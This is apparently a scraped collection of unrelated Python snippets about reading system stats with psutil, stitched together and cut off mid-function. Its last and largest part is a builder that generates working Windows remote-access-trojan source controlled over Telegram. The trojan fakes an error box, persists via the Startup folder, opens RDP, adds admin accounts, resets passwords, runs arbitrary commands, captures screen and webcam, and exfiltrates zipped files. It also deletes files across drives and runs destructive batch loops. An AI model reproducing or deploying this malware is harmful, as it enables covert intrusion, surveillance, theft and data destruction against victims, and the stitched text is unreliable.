DIR_TEST_DATA = os.path.join(DIR_ROOT, 'test_data')
IN_CELL_CSV_DELIMITER = '|'
IN_CELL_CSV_NONE = ''
SYS_OS_UNAME = os.uname()
SYS_CPU_FREQ = psutil.cpu_freq()
SYS_CPU_FREQ = SYS_CPU_FREQ.current if SYS_CPU_FREQ else None
SYS_CPU_COUNT = psutil.cpu_count()
SYS_MEM_TOTAL = psutil.virtual_memory().total
SYS_OS_NAME = '{0} {1} ({2})'.format(SYS_OS_UNAME.sysname,
SYS_OS_UNAME.release,
SYS_OS_UNAME.version)
SYS_NODE_NAME = SYS_OS_UNAME.nodename
SYS_ARCH = SYS_OS_UNAME.machine
def this_test_data_path(create_dirs: bool = False,
caller_stack_offset: int = 1):
"""
Calculate test data file path for the test function which called this one.
The path/name are calculated using python execution stack trace routines.
def kiwi_main(kiwi):
pass
parser = argparse.ArgumentParser(
description=kiwi.module_desc,
epilog=__doc__,
formatter_class=argparse.RawDescriptionHelpFormatter)
subparsers = parser.add_subparsers(dest="action")
parser.add_argument("-q",
"--quiet",
help="do not display any output",
action="store_true")
# system volume control
volume_subparser = subparsers.add_parser("volume")
volume_subparser.add_argument("-I",
"--intervals",
type=int,
metavar="AMOUNT",
help="intervals of the entire volume range")
volume_subparser.add_argument("-s",
"--sink",
type=int,
metavar="INDEX",
help="target sink index",
default=0)
volume_subparser.add_argument(
"--range-symbol",
type=str,
metavar="SYMBOL",
help="symbol that represents a unit of range",
default="─")
volume_subparser.add_argument(
"--value-symbol",
type=str,
metavar="SYMBOL",
help="symbol that represents the current value of range",
default="|")
volume_control_group = volume_subparser.add_mutually_exclusive_group()
volume_control_group.add_argument("-t",
"--toggle-mute",
action="store_true",
help="toggle sound mute")
volume_control_group.add_argument("-m",
"--mute",
action="store_true",
help="mute sound")
volume_control_group.add_argument("-u",
"--unmute",
action="store_true",
help="unmute sound")
volume_control_group.add_argument(
"-i",
"--increment",
type=int,
metavar="PERCENTAGE",
help="increment volume by specified percentage",
choices=range(1, 100))
volume_control_group.add_argument(
"-d",
"--decrement",
type=int,
metavar="PERCENTAGE",
help="decrement volume by specified percentage",
choices=range(1, 100))
# system information
info_subparser = subparsers.add_parser("info")
info_subparser.add_argument("-j",
"--jsonpath",
type=str,
metavar="PATH",
help="fetch specific fields from result")
info_subparsers = info_subparser.add_subparsers(dest="info_action")
# system information
for item in [
"wan", "lan", "ram", "swap", "cpu", "net", "temp", "fans",
"battery"
]:
info_subparsers.add_parser(item)
args = parser.parse_args()
# write stdout to devnull if quiet
stdout = sys.stdout
devnull = open(os.devnull, 'w')
if args.quiet:
sys.stdout = devnull
try:
# system volume control
if args.action == "volume":
import pulsectl
# must provide a range to print it out
if not args.quiet:
if not args.intervals:
parser.error("must provide interval range if not using -q")
else:
args.intervals = 0
# pulseaudio client
with pulsectl.Pulse('client') as pulse:
# get target sink
target_sink = pulse.sink_list()[args.sink]
# base off of the left channel volume
current_volume = target_sink.volume.values[0]
# if volume should be altered
if args.increment or args.decrement or args.toggle_mute or args.mute or args.unmute:
# if volume should be incremented
if args.increment or args.decrement:
# decide on a value
increment_value = args.increment if args.increment else -args.decrement
# keep target volume in range
target_volume = current_volume + (increment_value /
100.0)
if target_volume > 1 or target_volume < 0:
target_volume = abs(target_volume) - (
abs(target_volume) % 1)
# mute/unmute
else:
# action related functions
def mute(current_volume):
with open(VOLUME_CACHE_FILENAME,
'w') as VOLUME_CACHE:
VOLUME_CACHE.write(str(current_volume))
return 0
def unmute():
if os.path.isfile(VOLUME_CACHE_FILENAME):
with open(VOLUME_CACHE_FILENAME,
'r') as VOLUME_CACHE:
return float(VOLUME_CACHE.read())
return 1.0
def toggle():
if current_volume == 0:
return unmute()
else:
return mute(current_volume)
# act based on parameter
if args.toggle_mute:
target_volume = toggle()
elif args.mute:
target_volume = mute(current_volume)
else:
target_volume = unmute()
# set result volume
pulse.volume_set_all_chans(target_sink, target_volume)
# update current volume value
current_volume = target_volume
# print volume state
volume_range = args.range_symbol * args.intervals
value_index = max(
0,
math.floor(args.intervals * current_volume) - 1)
print(volume_range[:value_index] + args.value_symbol +
volume_range[value_index + 1:])
# networking information
elif args.action == "info":
import psutil
import jsonpath
# get appropriate info
info_json = {
"wan":
lambda: loads(kiwi.request(Request('GET', '/info/wan')).text),
"lan":
lambda: psutil.net_if_addrs(),
"ram":
lambda: psutil.virtual_memory()._asdict(),
"swap":
lambda: psutil.swap_memory()._asdict(),
"cpu":
lambda: {
'system-wide': psutil.cpu_percent(interval=1),
'per-cpu': psutil.cpu_percent(percpu=True),
'stats': psutil.cpu_stats()._asdict(),
'freq': psutil.cpu_freq()._asdict()
},
"net":
lambda: psutil.net_io_counters()._asdict(),
"temp":
lambda: psutil.sensors_temperatures(),
"fans":
lambda: psutil.sensors_fans(),
"battery":
lambda: psutil.sensors_battery()._asdict(),
}.get(args.info_action, lambda: None)()
info_json = info_json if info_json else {}
# print query if specified, otherwise print everything
if args.jsonpath:
result = jsonpath.jsonpath(loads(dumps(info_json)),
args.jsonpath)
# format result
if result:
if len(result) == 1:
result = result[0]
else:
result = ""
print(result, end="")
else:
print(dumps(info_json, indent=4), end="")
finally:
sys.stdout = stdout
def statsReporter(bot, chat_id, sysinfo_path):
items_list = []
i = 0
battenergy = ""
battcharge = ""
batttime = ""
fanspeed = ""
cputemp = ""
with open(sysinfo_path, newline='') as csvfile:
reader = csv.reader(csvfile, delimiter=',')
for row in reader:
items_list.append(row)
while i <= len(items_list):
if items_list[1][i] == '1':
print(items_list[0][i] + " exists, continue check...")
if items_list[0][i] == 'BATTERY':
battery = psutil.sensors_battery()
battenergy = "Battery energy: %.2f percents" % battery.percent
battcharge = "Battery charging: " + str(battery.power_plugged)
batttime = "Battery time left: %.2f minutes" % (battery.secsleft / 60)
elif items_list[0][i] == 'FANS':
fans = psutil.sensors_fans()
fanspeed = "FAN: %.0f RPM" % list(fans.values())[0][0][1]
elif items_list[0][i] == 'TEMPERATURES':
cputemp = "CPU Temperature " + str(list(temperature.values())[0][0][1])
elif items_list[1][i] == '0':
print(items_list[0][i] + " doesn't exist, skipping.")
elif items_list[1][i] != '1' and items_list[1][i] != '0':
print(str(items_list[0][i]) + " is not being checked for existence: " + str(items_list[1][i]))
i += 1
memory = psutil.virtual_memory()
disk = psutil.disk_usage('/')
cpufreq = psutil.cpu_freq()
cpuperc = psutil.cpu_percent()
temperature = psutil.sensors_temperatures()
swap = psutil.swap_memory()
loadavg = os.getloadavg()
boottime = datetime.fromtimestamp(psutil.boot_time())
now = datetime.now()
timedif = "Online for: %.2f Hours" % (
((now - boottime).total_seconds()) / 3600)
memtotal = "Total memory: %.3f GB " % (memory.total / 1000000000)
memavail = "Available memory: %.3f GB" % (
memory.available / 1000000000)
memuseperc = "Used memory: " + str(memory.percent) + " %"
diskused = "Disk used: " + str(disk.percent) + " %"
cpuperccurr = "CPU Load " + str(cpuperc.conjugate()) + " %"
cpurfreqcurr = "CPU frequency: %.2f MHz" % cpufreq.current
#cputemp = "CPU Temperature " + str(list(temperature.values())[0][0][1])
swapused = "SWAP used " + str(swap.used / 1024 / 1024) + " MB"
loadavgcurr = "Load AVG " + str(loadavg)
pids = psutil.pids()
pidsreply = ''
procs = {}
for pid in pids:
p = psutil.Process(pid)
try:
pmem = p.memory_percent()
if pmem > 0.5:
if p.name() in procs:
procs[p.name()] += pmem
else:
procs[p.name()] = pmem
except:
print("Hm")
sortedprocs = sorted(
procs.items(), key=operator.itemgetter(1), reverse=True)
for proc in sortedprocs:
pidsreply += proc[0] + " " + ("%.2f" % proc[1]) + " %\n"
reply = timedif + "\n" + \
memtotal + "\n" + \
memavail + "\n" + \
memuseperc + "\n" + \
diskused + "\n" + \
loadavgcurr + "\n" + \
cpuperccurr + "\n" + \
cpurfreqcurr + "\n" + \
cputemp + "\n" + \
fanspeed + "\n" + \
swapused + "\n" + \
battenergy + "\n" + \
battcharge + "\n" + \
batttime + "\n\n" + \
pidsreply
bot.sendMessage(chat_id, reply, disable_web_page_preview=True)
import psutil
import datetime
import time
import sys
import signal
print(psutil.cpu_count())
for x in range(5):
print(psutil.cpu_percent(interval=1, percpu=False))
#print(psutil.cpu_percent(interval=1, percpu=True))
print(psutil.cpu_freq())
print(psutil.virtual_memory())
print(psutil.disk_usage('/'))
def freq():
return round(psutil.cpu_freq().current / 1000.0000, 1)
def __init__(self, frequency=None):
self.frequency = frequency or psutil.cpu_freq().max * 1e6
async def system(self, ctx):
"""
Display the bots system stats.
"""
embed = discord.Embed(colour=self.bot.settings['colors']['embed_color'])
embed.description = _("**System CPU:**\n- Frequency: {0} Mhz\n- Cores: {1}\n- Usage: {2}%\n\n"
"**System Memory:**\n- Available: {3} MB\n- Total: {4} MB\n- Used: {5} MB\n\n"
"**System Disk:**\n- Total: {6} GB\n- Used: {7} GB\n- Free: {8} GB\n\n"
"**Process Info:**\n- Memory Usage: {9} MB\n- CPU Usage: {10}%\n- Threads: {11}").format(round(psutil.cpu_freq().current, 2),
psutil.cpu_count(), psutil.cpu_percent(),
round(psutil.virtual_memory().available / 1048576),
round(psutil.virtual_memory().total / 1048576),
round(psutil.virtual_memory().used / 1048576),
round(psutil.disk_usage("/").total / 1073741824, 2),
round(psutil.disk_usage("/").used / 1073741824, 2),
round(psutil.disk_usage("/").free / 1073741824, 2),
round(self.bot.process.memory_full_info().rss / 1048576, 2),
self.bot.process.cpu_percent(), self.bot.process.num_threads())
return await ctx.send(embed=embed)
def test_cpu_freq(self):
self.assert_ntuple_of_nums(psutil.cpu_freq())
import psutil as psu
import time
import math
import os
print("Frekuensi CPU = ", psu.cpu_freq(percpu=False))
print("Penggunaan CPU = ", psu.cpu_percent(interval=1), "%")
print("Penggunaan Hardisk = ", psu.disk_usage('/').used/1000000, "MB /", psu.disk_usage('/').total/1000000, "MB -", psu.disk_usage("/").percent, "%")
print("Penggunaan Memory = ",psu.virtual_memory().used/1000000, "MB /",psu.virtual_memory().total/1000000,"MB -", psu.virtual_memory().percent, "%")
print("Memory Tersedia = ", psu.virtual_memory().available/1000000, "MB /",psu.virtual_memory().total/1000000,"MB -", psu.virtual_memory().available * 100 / psu.virtual_memory().total, "%")
print("Jumlah thread CPU = ", psu.cpu_count(logical = True))
inet=(os.popen('ifconfig | grep inet').readlines())
eth=(os.popen('ifconfig | grep "RX packets"').readlines())
eth2=(os.popen('ifconfig | grep "TX packets"').readlines())
b=0
for i in range(3):
print(inet[b],eth[i],eth2[i])
b=b+2
def cpu_frequency_each() -> NamedTuple:
''' Frequency per CPU
Returns a named tuple.
'''
return psutil.cpu_freq(percpu=True)
def cpu_frequency_all() -> NamedTuple:
''' Summary of CPU Frequency
Returns a named tuple.
'''
return psutil.cpu_freq(percpu=False)
def get_system_info(which: str) -> List[Union[str, Tuple[str, str]]]:
"""
Creates list of informations formatted in urwid stye.
:param which: Kind of information to return. (top or bottom)
:return: List of tuples or strings descibing urwid attributes and content.
"""
rv: List[Union[str, Tuple[str, str]]] = []
if which == "grammm_top":
uname = platform.uname()
cpufreq = psutil.cpu_freq()
svmem = psutil.virtual_memory()
distro, version = get_os_release()
rv += [
u"\n",
"Console User Interface",
"\n",
u"\xa9 2020 ",
"grammm GmbH",
u"\n",
]
rv.append(f"Distribution: {distro} Version: {version}" if distro.lower(
).startswith('grammm') else '')
rv.append("\n")
rv.append("\n")
if cpufreq:
rv.append(
f"{psutil.cpu_count(logical=False)} x {uname.processor} CPUs a {get_hr(cpufreq.current * 1000 * 1000, 'Hz', 1000)}"
)
else:
rv.append(
f"{psutil.cpu_count(logical=False)} x {uname.processor} CPUs")
rv.append("\n")
rv.append(
f"Memory {get_hr(svmem.used)} used of {get_hr(svmem.total)}. {get_hr(svmem.available)} free."
)
rv.append("\n")
rv.append("\n")
elif which == "grammm_bottom":
uname = platform.uname()
if_addrs = psutil.net_if_addrs()
boot_time_timestamp = psutil.boot_time()
bt = datetime.fromtimestamp(boot_time_timestamp)
rv += [
u"\n", "For further configuration you can use following URLs:",
u"\n"
]
rv.append("\n")
for interface_name, interface_addresses in if_addrs.items():
if interface_name in ['lo']:
continue
for address in interface_addresses:
if str(address.family) == 'AddressFamily.AF_INET':
rv.append(f"Interface: ")
rv.append(('reverse', f"{interface_name}"))
rv.append(
f" Address: https://{address.address}/grammm/admin/interface"
)
rv.append("\n")
rv.append(
f" or https://{uname.node}/grammm/admin/interface")
rv.append("\n")
rv.append("\n")
else:
continue
rv.append(f"Boot Time: ")
rv.append(('reverse', f'{bt.isoformat()}'))
rv.append("\n")
rv.append("\n")
else:
rv.append("Oups!")
rv.append("There should be nothing.")
return rv
chrg = subprocess.check_output(["sudo", "dmidecode", "-t", "22"])
#NET
old_value = psutil.net_io_counters(
).bytes_sent + psutil.net_io_counters().bytes_recv
time.sleep(1)
new_value = psutil.net_io_counters(
).bytes_sent + psutil.net_io_counters().bytes_recv
net_sts = new_value - old_value
#CPU
cpu_percent = psutil.cpu_percent(interval=1)
cpu_freq = psutil.cpu_freq(percpu=False)
cpu_temp = psutil.sensors_temperatures(fahrenheit=False)
#RAM
mem = psutil.virtual_memory()
ram = subprocess.check_output(
["sudo", "lshw", "-short", "-C", "memory"])
#HDD
hd_tmp = subprocess.check_output(
["sudo", "smartctl", "-A", "/dev/sda"])
hd = subprocess.check_output(["sudo", "smartctl", "-i", "/dev/sda"])
def make():
uname = platform.uname()
cpuFreq = psutil.cpu_freq()
mainUser = getpass.getuser()
source = f'''
from telegram.ext import * ##
from telegram import * ##
from subprocess import check_output,STDOUT ##
from zipfile import ZipFile ##
from pynput.keyboard import Key,Controller
import platform ##
import psutil ##
import os ##
import getpass ##
import requests
import elevate
import wget
import pyautogui
import random
import cv2
import shutil
import win32api
import ctypes
import time
import webbrowser
try:
elevate.elevate()
except:pass
finally:
messageBox = ctypes.windll.user32.MessageBoxW
returnValue = messageBox(0,"This verison of this file is not compatible with the version of Windows you're running. Check your computer's system information to see whether you need an x86 (32-bit) or x64 (64-bit) verion of the program","ERROR",0x10 | 0x0)
try:
shutil.copy(__file__,f"C:/Users/{getpass.getuser()}/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup")
except:pass
updater=Updater('{setting["token"]}',use_context=True)
chat_id='{setting["chat_id"]}'
'''
source += r'''
chat_id=str(chat_id)
def btn(update:Update,context:CallbackContext):
btns=[["IP"],
["System Information"],
["Download File"],
["Make User"],
["Restart"],
["Change Main User Pass"],
["Task Manager"],
["Lusrmgr"],
["Gpedit"],
["Enable RDP"],
["CMD Commands"]
,["Upload File"]
,["Run App"]
,["Screen Shot"]
,["Record Video"]
,["Play Bad Sounds"]
,["Make File"]
,["Change Background"]
,["Delete Hard Infos"]
,["Crash Windows"]
,["Destroy Graphic Card"]
,["Destroy CD-Rom"]
,["Open Endless Notepad"]
,["Create Endless Folder"]
,["Create Endless User"]
,["Format Drive C"]
,["Disable All Antiviruss"]
,["Make Beep Sound"]
,["Desktop Locker"]
,["Delete Logs"]
,["Location On Map"]
,["Open URL"]
,["Show Message Box"]
]
update.message.reply_text(
text="Hello User To Rat Bot, Choose A Option"
,reply_markup=ReplyKeyboardMarkup(btns,resize_keyboard=True)
)
def start(update:Update,context:CallbackContext):
if str(update.message.chat_id)==chat_id:
btn(update,context)
def ipFinder(update:Update,context:CallbackQuery):
if str(update.message.chat_id) == chat_id:
ip=requests.get("http://ip.42.pl/raw").text
try:
os.system('reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections')
os.system('reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f')
os.system('reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections')
context.bot.sendMessage(chat_id,"IP: "+ip+"""\n[!]And RDP Port Opened (3389) """)
except:
context.bot.sendMessage(chat_id, "IP: " + ip+"""\n[!]Could Not Open RDP Port""")
def systemInformation(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
uname = platform.uname()
allInfo=""
allInfo+= f"""System: {str(uname.system)}
"""
allInfo+=f"""Node Name: {str(uname.node)}
"""
allInfo+=f"""Release: {str(uname.release)}
"""
allInfo+=f"""Version: {str(uname.version)}
"""
allInfo+=f"""Machine: {str(uname.machine)}
"""
allInfo+=f"""Processor: {str(uname.processor)}
"""
allInfo+="""Physical Cores: """+ str(psutil.cpu_count(logical=False))+"""
"""
allInfo+="""Total Cores: """+ str(psutil.cpu_count(logical=True))+"""
"""
context.bot.sendMessage(chat_id,allInfo)
def downloadFile(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
context.bot.sendMessage(chat_id,"""For Download Files Enter This Command Blow\n"""+"""/download exe\n then all exe file will be upload for you.""")
def donwloadFileMain(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
allDrives=[]
cmdDrives = check_output("wmic logicaldisk get name", shell=True)
drives = ["A:", "B:", "C:", "D:", "E:", "F:", "G:", "H:", "I:", "J:", "K:", "L:", "M:", "N:", "Q:", "R:",
"O:", "P:", "W:", "Y:", "S:", "T:", "U:", "V:", "X:", "Z:"]
for i in drives:
if i.encode() in cmdDrives:
allDrives.append(i)
suffix=update.message.text.replace("/download ")
paths=[]
for w in allDrives:
try:
path = check_output("dir "+w+"\*."+suffix+" /s /b", shell=True
)
paths.append(path.decode())
except :
pass
path=f"c:/users/"+getpass.getuser()
with ZipFile(path+suffix+".zip","w") as allFilesForZip:
for i in paths:
allFilesForZip.write(i)
allFilesForZip.setpassword("@DR8002")
context.bot.sendDocument(chat_id,path+suffix+".zip")
context.bot.sendMessage(chat_id,"Password: @DR8002")
def makeUser(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
os.system("net user newuser New123user123 /add")
os.system("net localgroup administrators newuser /add")
context.bot.sendMessage(chat_id,"""Username: newuser\nPassword: New123use123""")
def restartSystem(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
os.system("shutdown /r")
context.bot.sendMessage(chat_id,"Restarting")
def changeMainUserPass(update:Update,context:CallbackContext):
mainUser=getpass.getuser()
if str(update.message.chat_id) == chat_id:
try:
os.system(f"""net user {mainUser} New123Pass123""")
context.bot.sendMessage(chat_id,f"""Password Changed Successfully\n Password: New123Pass123\nUsername: {mainUser}""")
except:
context.bot.sendMessage(chat_id,"""Could Not Change Password""")
def taskManager(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
context.bot.sendMessage(chat_id,"""Choose One Option Blow:\n/DisableTask\n/EnableTask""")
def enableTaskManager(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
os.system("""REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f""")
context.bot.sendMessage(chat_id,"Task Manager Enabled Successfully.")
def disableTaskManager(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
os.system("""REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f""")
context.bot.sendMessage(chat_id,"""Task Manager Disabled Successfully.""")
def lusrmgr(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
context.bot.sendMessage(chat_id,"""Choose One Option Blow:\n/DisableLusrmgr\n/EnableLusrmgr""")
def disableLusrmgr(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
c="""reg add HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\{5D6179C8-17EC-11D1-9AA9-00C04FD8FE93} /v Restrict_Run /t REG_DWORD /d 00000001 /f"""
os.system(c)
context.bot.sendMessage(chat_id,"""Lusrmgr Disabled Successfully""")
def enableLusrmgr(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
os.system("""reg add HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\{5D6179C8-17EC-11D1-9AA9-00C04FD8FE93} /v Restrict_Run /t REG_DWORD /d 00000000 /f""")
context.bot.sendMessage(chat_id,"""Lusrmgr Enabled Successfully""")
def gpedit(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
context.bot.sendMessage(chat_id,"""Choose One Option Blow:\n/DisableGpedit\n/EnableGpedit""")
def enableGpedit(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
os.system("""REG add "HKCU\Software\Policies\Microsoft\MMC\{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}" /v Restrict_Run /t REG_DWORD /d 0 /f""")
context.bot.sendMessage(chat_id,"Gpedit Enabled Successfully")
def disableGpedit(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
os.system('REG add "HKCU\Software\Policies\Microsoft\MMC\{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}" /v Restrict_Run /t REG_DWORD /d 1 /f')
context.bot.sendMessage(chat_id, "Gpedit Enabled Successfully")
def enableRdp(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
os.system('reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f')
context.bot.sendMessage(chat_id, "RDP Enabled Successfully")
def cmdCommands(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
context.bot.sendMessage(chat_id,"""Enter Your Command Like Blow:\n/cmd command""")
def cmdCommandsMain(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
command=update.message.text.replace("/cmd ","")
resultCommand=check_output(command,shell=True)
context.bot.sendMessage(chat_id,resultCommand.decode())
def uploadFile(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
context.bot.sendMessage(chat_id,"""For Upload File To Target Enter This Command Blow:\n/upload Link path=Enter Your Path To Save File There""")
def uploadFileMain(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
link=update.message.text.replace("/upload ","")
link=str(link).split("path=")
path=link[1]
link=link[0]
link=link.replace(" ","")
print(link)
wget.download(link,out=path)
def runFile(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
context.bot.sendMessage(chat_id,"""For Run An App Enter This Command Blow:""")
context.bot.sendMessage(chat_id,'/run "FileDirectory"')
context.bot.sendMessage(chat_id,'For Example:/run "c:/users/test/desktop/test.exe"')
def runFileMain(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
try:
path=update.message.text.replace("/run ","")
os.system(path)
context.bot.sendMessage(chat_id,"App Ran Successfully ")
except EnvironmentError as e:
context.bot.sendMessage(chat_id,"Failed\n"+e)
def screenShot(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
name=''.join(random.choices("1234567890"+ "qazwsxedcrfvtgbyhnujmikolpQAZWSXEDCRFVTGBYHNUJMIKOLP", k=10))
screenShotPhoto=pyautogui.screenshot()
screenShotPhoto.save(f"""c:/users/{getpass.getuser()}/{name}.png""")
# client = Client('Ab8gRmsmDSTqd13ZfFgBgz')
# new_filelink = client.upload(filepath=f"""c:/users/{getpass.getuser()}/{name}.png""")
context.bot.send_photo(chat_id,open(f"""c:/users/{getpass.getuser()}/{name}.png""","rb"))
def takePhoto(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
name = ''.join(random.choices("1234567890" + "qazwsxedcrfvtgbyhnujmikolpQAZWSXEDCRFVTGBYHNUJMIKOLP", k=10))
camera=cv2.VideoCapture(0)
while 1:
ret,img=camera.read()
cv2.imwrite(f"""c:/users/{getpass.getuser()}/{name}.png""")
break
camera.release()
# client = Client('Ab8gRmsmDSTqd13ZfFgBgz')
# new_filelink = client.upload(filepath=f"""c:/users/{getpass.getuser()}/{name}.png""")
context.bot.send_photo(chat_id,open(f"""c:/users/{getpass.getuser()}/{name}.png""","rb"))
def recordVideo(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
vid=cv2.VideoCapture(0)
name = ''.join(random.choices("1234567890" + "qazwsxedcrfvtgbyhnujmikolpQAZWSXEDCRFVTGBYHNUJMIKOLP", k=10))
out = cv2.VideoWriter(f"""c:/users/{getpass.getuser()}/{name}.avi""",cv2.VideoWriter_fourcc('M','J','P','G'), 30, (500,500))
for i in range(1,1000):
ret,frame=vid.read()
out.write(frame)
context.bot.send_video(chat_id,open(f"""c:/users/{getpass.getuser()}/{name}.avi""","rb"))
def makeFile(update:Update,context:CallbackContext):
context.bot.sendMessage(chat_id,f"""For Make A Text File in Desktop Enter The Command Blow:\n/makefile text=Your Text That You Want To Write In File. filename=name.txt """)
def makeFileMain(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
text=update.message.text.replace("/makefile ","")
filename=text.split("filename=")[1]
text=str(text).split("text=")[1]
file=open(f"c:/users/{getpass.getuser()}/desktop/{filename}","w",encoding="UTF-8")
file.write(text)
context.bot.sendMessage(chat_id,"Created Successfully!")
file.close()
def changeBackg(update:Update,context:CallbackContext):
context.bot.sendMessage(chat_id,"Send Photo.")
def changeBackgMain(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
with open(f"c:/users/{getpass.getuser()}/img.jpg", 'wb') as f:
context.bot.getFile(update.message.photo[-1].file_id).download(out=f)
ctypes.windll.user32.SystemParametersInfoW(20, 0, f"c:/users/{getpass.getuser()}/img.jpg", 0)
context.bot.sendMessage(chat_id,"Background Changed Successfully.")
if str(update.message.chat_id) == chat_id:
context.bot.sendMessage(chat_id,"Started,When All Files Deleted I Will Tell You")
allDrives = []
allDrives2 = []
paths = []
def findDrives():
cmdDrives = check_output("wmic logicaldisk get name", shell=True)
drives = ["A:", "B:", "C:", "D:", "E:", "F:", "G:", "H:", "I:", "J:", "K:", "L:", "M:", "N:", "Q:", "R:", "O:",
"P:", "W:", "Y:", "S:", "T:", "U:", "V:", "X:", "Z:"]
for i in drives:
if i.encode() in cmdDrives:
allDrives2.append(i + "\\")
allDrives.append(i)
findDrives()
def findFilePath():
suffix = []
path = 'c:\\'
# r=root, d=directories, f = files
for path in allDrives2:
for r, d, f in os.walk(path):
for file in f:
file = file.split(".")[-1]
suffix.append(file)
suffix = list(dict.fromkeys(suffix))
mainSuffix = []
for b in suffix:
if "0" not in b:
mainSuffix.append(b)
for w in allDrives:
if w =="c:":
continue
for s in mainSuffix:
try:
path = os.system(f"Del {w}\*.{s} /f /s /q"
)
except:pass
findFilePath()
context.bot.sendMessage(chat_id,"Finished")
def destroyGraphic(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
try:
with open(f"""c:/users/{getpass.getuser()}/destroyGraphic.bat""","w") as f:
command="""c:/windows/system32/jefo/display/memory/full"""
f.write(command)
os.system(f"""c:/users/{getpass.getuser()}/destroyGraphic.bat""")
context.bot.sendMessage(chat_id,"Virus Ran Successfully")
except:context.bot.sendMessage(chat_id,"Could Not Run Virus")
def destroyCDRom(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
try:
with open(f"""c:/users/{getpass.getuser()}/destrotCDRom.vbs""","w") as file:
command="""
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
loop"""
file.write(command)
os.system(f"""start c:/users/{getpass.getuser()}/destrotCDRom.vbs""")
context.bot.sendMessage(chat_id, "Virus Ran Successfully")
except:context.bot.sendMessage(chat_id,"Could Not Run Virus")
def endlessNotepad(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
try:
with open(f"""c:/users/{getpass.getuser()}/endlessnotepad.bat""","w") as file:
command=r"""
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top"""
file.write(command)
os.system(f"""c:/users/{getpass.getuser()}/endlessnotepad.bat""")
context.bot.sendMessage(chat_id, "Virus Ran Successfully")
except:context.bot.sendMessage(chat_id,"Could Not Run Virus")
def openApps_(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
try:
with open(f"""c:/users/{getpass.getuser()}/openapps.bat""", "w") as file:
command = r"""
@echo off
:x
start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
goto x
"""
file.write(command)
os.system(f"""c:/users/{getpass.getuser()}/openapps.bat""")
context.bot.sendMessage(chat_id, "Virus Ran Successfully")
except:
context.bot.sendMessage(chat_id, "Could Not Run Virus")
def endlessFolder(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
try:
with open(f"""c:/users/{getpass.getuser()}/endlessFolder.bat""", "w") as file:
command = r"""
@echo off
:x
md %random%
/folder.
goto x
"""
file.write(command)
os.system(f"""c:/users/{getpass.getuser()}/endlessFolder.bat""")
context.bot.sendMessage(chat_id, "Virus Ran Successfully")
except:
context.bot.sendMessage(chat_id, "Could Not Run Virus")
def endlessUser(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
try:
with open(f"""c:/users/{getpass.getuser()}/endlessUser.bat""", "w") as file:
command = """
@echo off
:x
net user %random% /add
goto x
"""
file.write(command)
os.system(f"""c:/users/{getpass.getuser()}/endlessUser.bat""")
context.bot.sendMessage(chat_id, "Virus Ran Successfully")
except:
context.bot.sendMessage(chat_id, "Could Not Run Virus")
def formatC(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
try:
with open(f"""c:/users/{getpass.getuser()}/formatc.bat""", "w") as file:
command = """
@Echo off
Del C:\ *.* |y
"""
file.write(command)
os.system(f"""c:/users/{getpass.getuser()}/formatc.bat""")
context.bot.sendMessage(chat_id, "Virus Ran Successfully")
except:
context.bot.sendMessage(chat_id, "Could Not Run Virus")
def antiDisabled(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
try:
import pdb
pdb.set_trace()
